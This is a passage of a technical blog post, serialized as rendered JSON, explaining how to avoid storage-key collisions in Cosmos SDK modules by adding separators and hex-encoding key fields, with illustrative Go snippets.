username",{"type":24,"tag":147,"props":90844,"children":90845},{"style":235},[90846],{"type":29,"value":1549},{"type":24,"tag":147,"props":90848,"children":90849},{"class":149,"line":187},[90850,90855],{"type":24,"tag":147,"props":90851,"children":90852},{"style":247},[90853],{"type":29,"value":90854},"    positionName",{"type":24,"tag":147,"props":90856,"children":90857},{"style":235},[90858],{"type":29,"value":1549},{"type":24,"tag":147,"props":90860,"children":90861},{"class":149,"line":196},[90862],{"type":24,"tag":147,"props":90863,"children":90864},{"style":235},[90865],{"type":29,"value":269},{"type":24,"tag":25,"props":90867,"children":90868},{},[90869],{"type":29,"value":90870},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":137,"props":90872,"children":90874},{"code":90873},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[90875],{"type":24,"tag":80,"props":90876,"children":90877},{"__ignoreMap":7},[90878],{"type":29,"value":90873},{"type":24,"tag":25,"props":90880,"children":90881},{},[90882,90887],{"type":24,"tag":8545,"props":90883,"children":90884},{},[90885],{"type":29,"value":90886},"So, how can we mitigate this issue?",{"type":29,"value":90888},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":137,"props":90890,"children":90892},{"code":90891,"language":81748,"meta":7,"className":81749,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[90893],{"type":24,"tag":80,"props":90894,"children":90895},{"__ignoreMap":7},[90896,90907,90924,90931,90938,90965,90977,90988,90999,91010,91021,91032],{"type":24,"tag":147,"props":90897,"children":90898},{"class":149,"line":150},[90899,90903],{"type":24,"tag":147,"props":90900,"children":90901},{"style":218},[90902],{"type":29,"value":15276},{"type":24,"tag":147,"props":90904,"children":90905},{"style":235},[90906],{"type":29,"value":84150},{"type":24,"tag":147,"props":90908,"children":90909},{"class":149,"line":160},[90910,90915,90919],{"type":24,"tag":147,"props":90911,"children":90912},{"style":247},[90913],{"type":29,"value":90914},"    Seperator",{"type":24,"tag":147,"props":90916,"children":90917},{"style":241},[90918],{"type":29,"value":651},{"type":24,"tag":147,"props":90920,"children":90921},{"style":3534},[90922],{"type":29,"value":90923}," \"|\"\n",{"type":24,"tag":147,"props":90925,"children":90926},{"class":149,"line":169},[90927],{"type":24,"tag":147,"props":90928,"children":90929},{"style":235},[90930],{"type":29,"value":269},{"type":24,"tag":147,"props":90932,"children":90933},{"class":149,"line":178},[90934],{"type":24,"tag":147,"props":90935,"children":90936},{"emptyLinePlaceholder":16},[90937],{"type":29,"value":314},{"type":24,"tag":147,"props":90939,"children":90940},{"class":149,"line":187},[90941,90945,90949,90953,90957,90961],{"type":24,"tag":147,"props":90942,"children":90943},{"style":247},[90944],{"type":29,"value":90789},{"type":24,"tag":147,"props":90946,"children":90947},{"style":241},[90948],{"type":29,"value":82000},{"type":24,"tag":147,"props":90950,"children":90951},{"style":247},[90952],{"type":29,"value":87818},{"type":24,"tag":147,"props":90954,"children":90955},{"style":235},[90956],{"type":29,"value":87},{"type":24,"tag":147,"props":90958,"children":90959},{"style":229},[90960],{"type":29,"value":90806},{"type":24,"tag":147,"props":90962,"children":90963},{"style":235},[90964],{"type":29,"value":9088},{"type":24,"tag":147,"props":90966,"children":90967},{"class":149,"line":196},[90968,90973],{"type":24,"tag":147,"props":90969,"children":90970},{"style":3534},[90971],{"type":29,"value":90972},"    \"%d%s%s%s%s\"",{"type":24,"tag":147,"props":90974,"children":90975},{"style":235},[90976],{"type":29,"value":1549},{"type":24,"tag":147,"props":90978,"children":90979},{"class":149,"line":205},[90980,90984],{"type":24,"tag":147,"props":90981,"children":90982},{"style":247},[90983],{"type":29,"value":90830},{"type":24,"tag":147,"props":90985,"children":90986},{"style":235},[90987],{"type":29,"value":1549},{"type":24,"tag":147,"props":90989,"children":90990},{"class":149,"line":214},[90991,90995],{"type":24,"tag":147,"props":90992,"children":90993},{"style":247},[90994],{"type":29,"value":90914},{"type":24,"tag":147,"props":90996,"children":90997},{"style":235},[90998],{"type":29,"value":1549},{"type":24,"tag":147,"props":91000,"children":91001},{"class":149,"line":272},[91002,91006],{"type":24,"tag":147,"props":91003,"children":91004},{"style":247},[91005],{"type":29,"value":90842},{"type":24,"tag":147,"props":91007,"children":91008},{"style":235},[91009],{"type":29,"value":1549},{"type":24,"tag":147,"props":91011,"children":91012},{"class":149,"line":281},[91013,91017],{"type":24,"tag":147,"props":91014,"children":91015},{"style":247},[91016],{"type":29,"value":90914},{"type":24,"tag":147,"props":91018,"children":91019},{"style":235},[91020],{"type":29,"value":1549},{"type":24,"tag":147,"props":91022,"children":91023},{"class":149,"line":299},[91024,91028],{"type":24,"tag":147,"props":91025,"children":91026},{"style":247},[91027],{"type":29,"value":90854},{"type":24,"tag":147,"props":91029,"children":91030},{"style":235},[91031],{"type":29,"value":1549},{"type":24,"tag":147,"props":91033,"children":91034},{"class":149,"line":308},[91035],{"type":24,"tag":147,"props":91036,"children":91037},{"style":235},[91038],{"type":29,"value":269},{"type":24,"tag":25,"props":91040,"children":91041},{},[91042],{"type":29,"value":91043},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":25,"props":91045,"children":91046},{},[91047,91049,91055,91056,91062],{"type":29,"value":91048},"Sadly, it doesn't. Since the ",{"type":24,"tag":80,"props":91050,"children":91052},{"className":91051},[],[91053],{"type":29,"value":91054},"username",{"type":29,"value":855},{"type":24,"tag":80,"props":91057,"children":91059},{"className":91058},[],[91060],{"type":29,"value":91061},"vaultName",{"type":29,"value":91063}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":137,"props":91065,"children":91067},{"code":91066},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[91068],{"type":24,"tag":80,"props":91069,"children":91070},{"__ignoreMap":7},[91071],{"type":29,"value":91066},{"type":24,"tag":25,"props":91073,"children":91074},{},[91075],{"type":29,"value":91076},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":137,"props":91078,"children":91080},{"code":91079,"language":81748,"meta":7,"className":81749,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[91081],{"type":24,"tag":80,"props":91082,"children":91083},{"__ignoreMap":7},[91084,91095,91110,91117,91124,91131,91152,91168,91206,91213,91250,91257,91277,91292,91328,91335,91370,91377,91404,91415,91426,91437,91449,91460,91468],{"type":24,"tag":147,"props":91085,"children":91086},{"class":149,"line":150},[91087,91091],{"type":24,"tag":147,"props":91088,"children":91089},{"style":218},[91090],{"type":29,"value":15276},{"type":24,"tag":147,"props":91092,"children":91093},{"style":235},[91094],{"type":29,"value":84150},{"type":24,"tag":147,"props":91096,"children":91097},{"class":149,"line":160},[91098,91102,91106],{"type":24,"tag":147,"props":91099,"children":91100},{"style":247},[91101],{"type":29,"value":90914},{"type":24,"tag":147,"props":91103,"children":91104},{"style":241},[91105],{"type":29,"value":651},{"type":24,"tag":147,"props":91107,"children":91108},{"style":3534},[91109],{"type":29,"value":90923},{"type":24,"tag":147,"props":91111,"children":91112},{"class":149,"line":169},[91113],{"type":24,"tag":147,"props":91114,"children":91115},{"style":235},[91116],{"type":29,"value":269},{"type":24,"tag":147,"props":91118,"children":91119},{"class":149,"line":178},[91120],{"type":24,"tag":147,"props":91121,"children":91122},{"emptyLinePlaceholder":16},[91123],{"type":29,"value":314},{"type":24,"tag":147,"props":91125,"children":91126},{"class":149,"line":187},[91127],{"type":24,"tag":147,"props":91128,"children":91129},{"emptyLinePlaceholder":16},[91130],{"type":29,"value":314},{"type":24,"tag":147,"props":91132,"children":91133},{"class":149,"line":196},[91134,91139,91143,91148],{"type":24,"tag":147,"props":91135,"children":91136},{"style":247},[91137],{"type":29,"value":91138},"usernameEncoded",{"type":24,"tag":147,"props":91140,"children":91141},{"style":241},[91142],{"type":29,"value":82000},{"type":24,"tag":147,"props":91144,"children":91145},{"style":229},[91146],{"type":29,"value":91147}," make",{"type":24,"tag":147,"props":91149,"children":91150},{"style":235},[91151],{"type":29,"value":9088},{"type":24,"tag":147,"props":91153,"children":91154},{"class":149,"line":205},[91155,91160,91164],{"type":24,"tag":147,"props":91156,"children":91157},{"style":235},[91158],{"type":29,"value":91159},"    []",{"type":24,"tag":147,"props":91161,"children":91162},{"style":9044},[91163],{"type":29,"value":90348},{"type":24,"tag":147,"props":91165,"children":91166},{"style":235},[91167],{"type":29,"value":1549},{"type":24,"tag":147,"props":91169,"children":91170},{"class":149,"line":214},[91171,91176,91180,91185,91189,91193,91197,91201],{"type":24,"tag":147,"props":91172,"children":91173},{"style":247},[91174],{"type":29,"value":91175},"    hex",{"type":24,"tag":147,"props":91177,"children":91178},{"style":235},[91179],{"type":29,"value":87},{"type":24,"tag":147,"props":91181,"children":91182},{"style":229},[91183],{"type":29,"value":91184},"EncodedLen",{"type":24,"tag":147,"props":91186,"children":91187},{"style":235},[91188],{"type":29,"value":480},{"type":24,"tag":147,"props":91190,"children":91191},{"style":229},[91192],{"type":29,"value":6227},{"type":24,"tag":147,"props":91194,"children":91195},{"style":235},[91196],{"type":29,"value":480},{"type":24,"tag":147,"props":91198,"children":91199},{"style":247},[91200],{"type":29,"value":91054},{"type":24,"tag":147,"props":91202,"children":91203},{"style":235},[91204],{"type":29,"value":91205},")),\n",{"type":24,"tag":147,"props":91207,"children":91208},{"class":149,"line":272},[91209],{"type":24,"tag":147,"props":91210,"children":91211},{"style":235},[91212],{"type":29,"value":269},{"type":24,"tag":147,"props":91214,"children":91215},{"class":149,"line":281},[91216,91221,91225,91230,91234,91238,91242,91246],{"type":24,"tag":147,"props":91217,"children":91218},{"style":247},[91219],{"type":29,"value":91220},"hex",{"type":24,"tag":147,"props":91222,"children":91223},{"style":235},[91224],{"type":29,"value":87},{"type":24,"tag":147,"props":91226,"children":91227},{"style":229},[91228],{"type":29,"value":91229},"Encode",{"type":24,"tag":147,"props":91231,"children":91232},{"style":235},[91233],{"type":29,"value":480},{"type":24,"tag":147,"props":91235,"children":91236},{"style":247},[91237],{"type":29,"value":91138},{"type":24,"tag":147,"props":91239,"children":91240},{"style":235},[91241],{"type":29,"value":546},{"type":24,"tag":147,"props":91243,"children":91244},{"style":247},[91245],{"type":29,"value":91054},{"type":24,"tag":147,"props":91247,"children":91248},{"style":235},[91249],{"type":29,"value":269},{"type":24,"tag":147,"props":91251,"children":91252},{"class":149,"line":299},[91253],{"type":24,"tag":147,"props":91254,"children":91255},{"emptyLinePlaceholder":16},[91256],{"type":29,"value":314},{"type":24,"tag":147,"props":91258,"children":91259},{"class":149,"line":308},[91260,91265,91269,91273],{"type":24,"tag":147,"props":91261,"children":91262},{"style":247},[91263],{"type":29,"value":91264},"positionNameEncoded",{"type":24,"tag":147,"props":91266,"children":91267},{"style":241},[91268],{"type":29,"value":82000},{"type":24,"tag":147,"props":91270,"children":91271},{"style":229},[91272],{"type":29,"value":91147},{"type":24,"tag":147,"props":91274,"children":91275},{"style":235},[91276],{"type":29,"value":9088},{"type":24,"tag":147,"props":91278,"children":91279},{"class":149,"line":317},[91280,91284,91288],{"type":24,"tag":147,"props":91281,"children":91282},{"style":235},[91283],{"type":29,"value":91159},{"type":24,"tag":147,"props":91285,"children":91286},{"style":9044},[91287],{"type":29,"value":90348},{"type":24,"tag":147,"props":91289,"children":91290},{"style":235},[91291],{"type":29,"value":1549},{"type":24,"tag":147,"props":91293,"children":91294},{"class":149,"line":332},[91295,91299,91303,91307,91311,91315,91319,91324],{"type":24,"tag":147,"props":91296,"children":91297},{"style":247},[91298],{"type":29,"value":91175},{"type":24,"tag":147,"props":91300,"children":91301},{"style":235},[91302],{"type":29,"value":87},{"type":24,"tag":147,"props":91304,"children":91305},{"style":229},[91306],{"type":29,"value":91184},{"type":24,"tag":147,"props":91308,"children":91309},{"style":235},[91310],{"type":29,"value":480},{"type":24,"tag":147,"props":91312,"children":91313},{"style":229},[91314],{"type":29,"value":6227},{"type":24,"tag":147,"props":91316,"children":91317},{"style":235},[91318],{"type":29,"value":480},{"type":24,"tag":147,"props":91320,"children":91321},{"style":247},[91322],{"type":29,"value":91323},"positionName",{"type":24,"tag":147,"props":91325,"children":91326},{"style":235},[91327],{"type":29,"value":91205},{"type":24,"tag":147,"props":91329,"children":91330},{"class":149,"line":350},[91331],{"type":24,"tag":147,"props":91332,"children":91333},{"style":235},[91334],{"type":29,"value":269},{"type":24,"tag":147,"props":91336,"children":91337},{"class":149,"line":358},[91338,91342,91346,91350,91354,91358,91362,91366],{"type":24,"tag":147,"props":91339,"children":91340},{"style":247},[91341],{"type":29,"value":91220},{"type":24,"tag":147,"props":91343,"children":91344},{"style":235},[91345],{"type":29,"value":87},{"type":24,"tag":147,"props":91347,"children":91348},{"style":229},[91349],{"type":29,"value":91229},{"type":24,"tag":147,"props":91351,"children":91352},{"style":235},[91353],{"type":29,"value":480},{"type":24,"tag":147,"props":91355,"children":91356},{"style":247},[91357],{"type":29,"value":91264},{"type":24,"tag":147,"props":91359,"children":91360},{"style":235},[91361],{"type":29,"value":546},{"type":24,"tag":147,"props":91363,"children":91364},{"style":247},[91365],{"type":29,"value":91323},{"type":24,"tag":147,"props":91367,"children":91368},{"style":235},[91369],{"type":29,"value":269},{"type":24,"tag":147,"props":91371,"children":91372},{"class":149,"line":397},[91373],{"type":24,"tag":147,"props":91374,"children":91375},{"emptyLinePlaceholder":16},[91376],{"type":29,"value":314},{"type":24,"tag":147,"props":91378,"children":91379},{"class":149,"line":421},[91380,91384,91388,91392,91396,91400],{"type":24,"tag":147,"props":91381,"children":91382},{"style":247},[91383],{"type":29,"value":90789},{"type":24,"tag":147,"props":91385,"children":91386},{"style":241},[91387],{"type":29,"value":82000},{"type":24,"tag":147,"props":91389,"children":91390},{"style":247},[91391],{"type":29,"value":87818},{"type":24,"tag":147,"props":91393,"children":91394},{"style":235},[91395],{"type":29,"value":87},{"type":24,"tag":147,"props":91397,"children":91398},{"style":229},[91399],{"type":29,"value":90806},{"type":24,"tag":147,"props":91401,"children":91402},{"style":235},[91403],{"type":29,"value":9088},{"type":24,"tag":147,"props":91405,"children":91406},{"class":149,"line":435},[91407,91411],{"type":24,"tag":147,"props":91408,"children":91409},{"style":3534},[91410],{"type":29,"value":90972},{"type":24,"tag":147,"props":91412,"children":91413},{"style":235},[91414],{"type":29,"value":1549},{"type":24,"tag":147,"props":91416,"children":91417},{"class":149,"line":444},[91418,91422],{"type":24,"tag":147,"props":91419,"children":91420},{"style":247},[91421],{"type":29,"value":90830},{"type":24,"tag":147,"props":91423,"children":91424},{"style":235},[91425],{"type":29,"value":1549},{"type":24,"tag":147,"props":91427,"children":91428},{"class":149,"line":452},[91429,91433],{"type":24,"tag":147,"props":91430,"children":91431},{"style":247},[91432],{"type":29,"value":90914},{"type":24,"tag":147,"props":91434,"children":91435},{"style":235},[91436],{"type":29,"value":1549},{"type":24,"tag":147,"props":91438,"children":91439},{"class":149,"line":461},[91440,91445],{"type":24,"tag":147,"props":91441,"children":91442},{"style":247},[91443],{"type":29,"value":91444},"    usernameEncoded",{"type":24,"tag":147,"props":91446,"children":91447},{"style":235},[91448],{"type":29,"value":1549},{"type":24,"tag":147,"props":91450,"children":91451},{"class":149,"line":469},[91452,91456],{"type":24,"tag":147,"props":91453,"children":91454},{"style":247},[91455],{"type":29,"value":90914},{"type":24,"tag":147,"props":91457,"children":91458},{"style":235},[91459],{"type":29,"value":1549},{"type":24,"tag":147,"props":91461,"children":91462},{"class":149,"line":508},[91463],{"type":24,"tag":147,"props":91464,"children":91465},{"style":247},[91466],{"type":29,"value":91467},"    positionNameEncoded\n",{"type":24,"tag":147,"props":91469,"children":91470},{"class":149,"line":572},[91471],{"type":24,"tag":147,"props":91472,"children":91473},{"style":235},[91474],{"type":29,"value":269},{"type":24,"tag":25,"props":91476,"children":91477},{},[91478,91480,91485],{"type":29,"value":91479},"We did it. We finally eliminated all potential ",{"type":24,"tag":80,"props":91481,"children":91483},{"className":91482},[],[91484],{"type":29,"value":90789},{"type":29,"value":91486}," collisions.",{"type":24,"tag":25,"props":91488,"children":91489},{},[91490],{"type":29,"value":91491},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":25,"props":91493,"children":91494},{},[91495,91497,91503,91505,91510,91512,91517,91519,91524,91526,91532],{"type":29,"value":91496},"In the Cosmos framework, it is common for each ",{"type":24,"tag":80,"props":91498,"children":91500},{"className":91499},[],[91501],{"type":29,"value":91502},"Module",{"type":29,"value":91504}," to own a few ",{"type":24,"tag":80,"props":91506,"children":91508},{"className":91507},[],[91509],{"type":29,"value":90560},{"type":29,"value":91511}," and have individual ",{"type":24,"tag":80,"props":91513,"children":91515},{"className":91514},[],[91516],{"type":29,"value":85529},{"type":29,"value":91518},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":80,"props":91520,"children":91522},{"className":91521},[],[91523],{"type":29,"value":90560},{"type":29,"value":91525}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":80,"props":91527,"children":91529},{"className":91528},[],[91530],{"type":29,"value":91531},"Modules",{"type":29,"value":87},{"type":24,"tag":25,"props":91534,"children":91535},{},[91536,91538,91543],{"type":29,"value":91537},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":80,"props":91539,"children":91541},{"className":91540},[],[91542],{"type":29,"value":90560},{"type":29,"value":8785},{"type":24,"tag":25,"props":91545,"children":91546},{},[91547,91549,91555,91557,91562],{"type":29,"value":91548},"To demonstrate this scenario, we introduce the ",{"type":24,"tag":80,"props":91550,"children":91552},{"className":91551},[],[91553],{"type":29,"value":91554},"NameToAddressMap",{"type":29,"value":91556}," structure, which will be stored in the same ",{"type":24,"tag":80,"props":91558,"children":91560},{"className":91559},[],[91561],{"type":29,"value":90560},{"type":29,"value":91563}," we previously used.",{"type":24,"tag":137,"props":91565,"children":91567},{"code":91566,"language":81748,"meta":7,"className":81749,"style":7},"type VaultId uint64\ntype Username string\n\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n\ntype AddressName string\ntype Address struct {\n data []byte\n}\ntype AddressMap :=\n    map[VaultId]map[Username]map[AddressName]Address\n",[91568],{"type":24,"tag":80,"props":91569,"children":91570},{"__ignoreMap":7},[91571,91586,91601,91608,91623,91642,91657,91664,91679,91734,91741,91757,91777,91792,91799,91815],{"type":24,"tag":147,"props":91572,"children":91573},{"class":149,"line":150},[91574,91578,91582],{"type":24,"tag":147,"props":91575,"children":91576},{"style":218},[91577],{"type":29,"value":38357},{"type":24,"tag":147,"props":91579,"children":91580},{"style":9044},[91581],{"type":29,"value":90606},{"type":24,"tag":147,"props":91583,"children":91584},{"style":9044},[91585],{"type":29,"value":81786},{"type":24,"tag":147,"props":91587,"children":91588},{"class":149,"line":160},[91589,91593,91597],{"type":24,"tag":147,"props":91590,"children":91591},{"style":218},[91592],{"type":29,"value":38357},{"type":24,"tag":147,"props":91594,"children":91595},{"style":9044},[91596],{"type":29,"value":90622},{"type":24,"tag":147,"props":91598,"children":91599},{"style":9044},[91600],{"type":29,"value":90627},{"type":24,"tag":147,"props":91602,"children":91603},{"class":149,"line":169},[91604],{"type":24,"tag":147,"props":91605,"children":91606},{"emptyLinePlaceholder":16},[91607],{"type":29,"value":314},{"type":24,"tag":147,"props":91609,"children":91610},{"class":149,"line":178},[91611,91615,91619],{"type":24,"tag":147,"props":91612,"children":91613},{"style":218},[91614],{"type":29,"value":38357},{"type":24,"tag":147,"props":91616,"children":91617},{"style":9044},[91618],{"type":29,"value":90639},{"type":24,"tag":147,"props":91620,"children":91621},{"style":9044},[91622],{"type":29,"value":90627},{"type":24,"tag":147,"props":91624,"children":91625},{"class":149,"line":187},[91626,91630,91634,91638],{"type":24,"tag":147,"props":91627,"children":91628},{"style":218},[91629],{"type":29,"value":38357},{"type":24,"tag":147,"props":91631,"children":91632},{"style":9044},[91633],{"type":29,"value":13050},{"type":24,"tag":147,"props":91635,"children":91636},{"style":218},[91637],{"type":29,"value":26753},{"type":24,"tag":147,"props":91639,"children":91640},{"style":235},[91641],{"type":29,"value":6630},{"type":24,"tag":147,"props":91643,"children":91644},{"class":149,"line":196},[91645,91649,91653],{"type":24,"tag":147,"props":91646,"children":91647},{"style":247},[91648],{"type":29,"value":48828},{"type":24,"tag":147,"props":91650,"children":91651},{"style":235},[91652],{"type":29,"value":81811},{"type":24,"tag":147,"props":91654,"children":91655},{"style":9044},[91656],{"type":29,"value":89811},{"type":24,"tag":147,"props":91658,"children":91659},{"class":149,"line":205},[91660],{"type":24,"tag":147,"props":91661,"children":91662},{"style":235},[91663],{"type":29,"value":827},{"type":24,"tag":147,"props":91665,"children":91666},{"class":149,"line":214},[91667,91671,91675],{"type":24,"tag":147,"props":91668,"children":91669},{"style":218},[91670],{"type":29,"value":38357},{"type":24,"tag":147,"props":91672,"children":91673},{"style":9044},[91674],{"type":29,"value":90696},{"type":24,"tag":147,"props":91676,"children":91677},{"style":241},[91678],{"type":29,"value":90701},{"type":24,"tag":147,"props":91680,"children":91681},{"class":149,"line":272},[91682,91686,91690,91694,91698,91702,91706,91710,91714,91718,91722,91726,91730],{"type":24,"tag":147,"props":91683,"children":91684},{"style":218},[91685],{"type":29,"value":90709},{"type":24,"tag":147,"props":91687,"children":91688},{"style":235},[91689],{"type":29,"value":9358},{"type":24,"tag":147,"props":91691,"children":91692},{"style":9044},[91693],{"type":29,"value":90718},{"type":24,"tag":147,"props":91695,"children":91696},{"style":235},[91697],{"type":29,"value":21023},{"type":24,"tag":147,"props":91699,"children":91700},{"style":218},[91701],{"type":29,"value":72684},{"type":24,"tag":147,"props":91703,"children":91704},{"style":235},[91705],{"type":29,"value":9358},{"type":24,"tag":147,"props":91707,"children":91708},{"style":9044},[91709],{"type":29,"value":90735},{"type":24,"tag":147,"props":91711,"children":91712},{"style":235},[91713],{"type":29,"value":21023},{"type":24,"tag":147,"props":91715,"children":91716},{"style":218},[91717],{"type":29,"value":72684},{"type":24,"tag":147,"props":91719,"children":91720},{"style":235},[91721],{"type":29,"value":9358},{"type":24,"tag":147,"props":91723,"children":91724},{"style":9044},[91725],{"type":29,"value":90752},{"type":24,"tag":147,"props":91727,"children":91728},{"style":235},[91729],{"type":29,"value":21023},{"type":24,"tag":147,"props":91731,"children":91732},{"style":9044},[91733],{"type":29,"value":90761},{"type":24,"tag":147,"props":91735,"children":91736},{"class":149,"line":281},[91737],{"type":24,"tag":147,"props":91738,"children":91739},{"emptyLinePlaceholder":16},[91740],{"type":29,"value":314},{"type":24,"tag":147,"props":91742,"children":91743},{"class":149,"line":299},[91744,91748,91753],{"type":24,"tag":147,"props":91745,"children":91746},{"style":218},[91747],{"type":29,"value":38357},{"type":24,"tag":147,"props":91749,"children":91750},{"style":9044},[91751],{"type":29,"value":91752}," AddressName",{"type":24,"tag":147,"props":91754,"children":91755},{"style":9044},[91756],{"type":29,"value":90627},{"type":24,"tag":147,"props":91758,"children":91759},{"class":149,"line":308},[91760,91764,91769,91773],{"type":24,"tag":147,"props":91761,"children":91762},{"style":218},[91763],{"type":29,"value":38357},{"type":24,"tag":147,"props":91765,"children":91766},{"style":9044},[91767],{"type":29,"value":91768}," Address",{"type":24,"tag":147,"props":91770,"children":91771},{"style":218},[91772],{"type":29,"value":26753},{"type":24,"tag":147,"props":91774,"children":91775},{"style":235},[91776],{"type":29,"value":6630},{"type":24,"tag":147,"props":91778,"children":91779},{"class":149,"line":317},[91780,91784,91788],{"type":24,"tag":147,"props":91781,"children":91782},{"style":247},[91783],{"type":29,"value":1103},{"type":24,"tag":147,"props":91785,"children":91786},{"style":235},[91787],{"type":29,"value":81811},{"type":24,"tag":147,"props":91789,"children":91790},{"style":9044},[91791],{"type":29,"value":89811},{"type":24,"tag":147,"props":91793,"children":91794},{"class":149,"line":332},[91795],{"type":24,"tag":147,"props":91796,"children":91797},{"style":235},[91798],{"type":29,"value":827},{"type":24,"tag":147,"props":91800,"children":91801},{"class":149,"line":350},[91802,91806,91811],{"type":24,"tag":147,"props":91803,"children":91804},{"style":218},[91805],{"type":29,"value":38357},{"type":24,"tag":147,"props":91807,"children":91808},{"style":9044},[91809],{"type":29,"value":91810}," AddressMap",{"type":24,"tag":147,"props":91812,"children":91813},{"style":241},[91814],{"type":29,"value":90701},{"type":24,"tag":147,"props":91816,"children":91817},{"class":149,"line":358},[91818,91822,91826,91830,91834,91838,91842,91846,91850,91854,91858,91863,91867],{"type":24,"tag":147,"props":91819,"children":91820},{"style":218},[91821],{"type":29,"value":90709},{"type":24,"tag":147,"props":91823,"children":91824},{"style":235},[91825],{"type":29,"value":9358},{"type":24,"tag":147,"props":91827,"children":91828},{"style":9044},[91829],{"type":29,"value":90718},{"type":24,"tag":147,"props":91831,"children":91832},{"style":235},[91833],{"type":29,"value":21023},{"type":24,"tag":147,"props":91835,"children":91836},{"style":218},[91837],{"type":29,"value":72684},{"type":24,"tag":147,"props":91839,"children":91840},{"style":235},[91841],{"type":29,"value":9358},{"type":24,"tag":147,"props":91843,"children":91844},{"style":9044},[91845],{"type":29,"value":90735},{"type":24,"tag":147,"props":91847,"children":91848},{"style":235},[91849],{"type":29,"value":21023},{"type":24,"tag":147,"props":91851,"children":91852},{"style":218},[91853],{"type":29,"value":72684},{"type":24,"tag":147,"props":91855,"children":91856},{"style":235},[91857],{"type":29,"value":9358},{"type":24,"tag":147,"props":91859,"children":91860},{"style":9044},[91861],{"type":29,"value":91862},"AddressName",{"type":24,"tag":147,"props":91864,"children":91865},{"style":235},[91866],{"type":29,"value":21023},{"type":24,"tag":147,"props":91868,"children":91869},{"style":9044},[91870],{"type":29,"value":91871},"Address\n",{"type":24,"tag":25,"props":91873,"children":91874},{},[91875],{"type":29,"value":91876},"Referencing previous examples, it is necessary to sanitize/encode each key field and add seperators between fields to prevent key collisions. By putting these measures into practice, we present the following implementation below:",{"type":24,"tag":137,"props":91878,"children":91880},{"code":91879,"language":81748,"meta":7,"className":81749,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nfunc PositionMapKey(\n    vaultId uint64,\n    username, positionName []byte,\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    positionNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(positionName)),\n    )\n    hex.Encode(positionNameEncoded, positionName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        positionNameEncoded,\n    )\n}\n\n\nfunc AddressMapKey(\n    vaultId uint64,\n    username, addressName []byte\n) (key []byte) {\n    usernameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(username)),\n    )\n    hex.Encode(usernameEncoded, username)\n\n    addressNameEncoded := make(\n        []byte,\n        hex.EncodedLen(len(addressName)),\n    )\n    hex.Encode(addressNameEncoded, addressName)\n\n    key := fmt.Sprintf(\n        \"%d%s%s%s%s\",\n        vaultId,\n        Seperator,\n        usernameEncoded,\n        Seperator,\n        addressNameEncoded,\n    )\n}\n",[91881],{"type":24,"tag":80,"props":91882,"children":91883},{"__ignoreMap":7},[91884,91895,91910,91917,91924,91931,91947,91962,91989,92012,92031,92047,92083,92090,92125,92132,92152,92167,92202,92209,92244,92251,92279,92291,92303,92315,92327,92338,92350,92357,92364,92371,92378,92394,92409,92433,92456,92475,92490,92525,92532,92567,92574,92594,92609,92644,92651,92687,92694,92721,92732,92743,92754,92765,92776,92788,92795],{"type":24,"tag":147,"props":91885,"children":91886},{"class":149,"line":150},[91887,91891],{"type":24,"tag":147,"props":91888,"children":91889},{"style":218},[91890],{"type":29,"value":15276},{"type":24,"tag":147,"props":91892,"children":91893},{"style":235},[91894],{"type":29,"value":84150},{"type":24,"tag":147,"props":91896,"children":91897},{"class":149,"line":160},[91898,91902,91906],{"type":24,"tag":147,"props":91899,"children":91900},{"style":247},[91901],{"type":29,"value":90914},{"type":24,"tag":147,"props":91903,"children":91904},{"style":241},[91905],{"type":29,"value":651},{"type":24,"tag":147,"props":91907,"children":91908},{"style":3534},[91909],{"type":29,"value":90923},{"type":24,"tag":147,"props":91911,"children":91912},{"class":149,"line":169},[91913],{"type":24,"tag":147,"props":91914,"children":91915},{"style":235},[91916],{"type":29,"value":269},{"type":24,"tag":147,"props":91918,"children":91919},{"class":149,"line":178},[91920],{"type":24,"tag":147,"props":91921,"children":91922},{"emptyLinePlaceholder":16},[91923],{"type":29,"value":314},{"type":24,"tag":147,"props":91925,"children":91926},{"class":149,"line":187},[91927],{"type":24,"tag":147,"props":91928,"children":91929},{"emptyLinePlaceholder":16},[91930],{"type":29,"value":314},{"type":24,"tag":147,"props":91932,"children":91933},{"class":149,"line":196},[91934,91938,91943],{"type":24,"tag":147,"props":91935,"children":91936},{"style":218},[91937],{"type":29,"value":81884},{"type":24,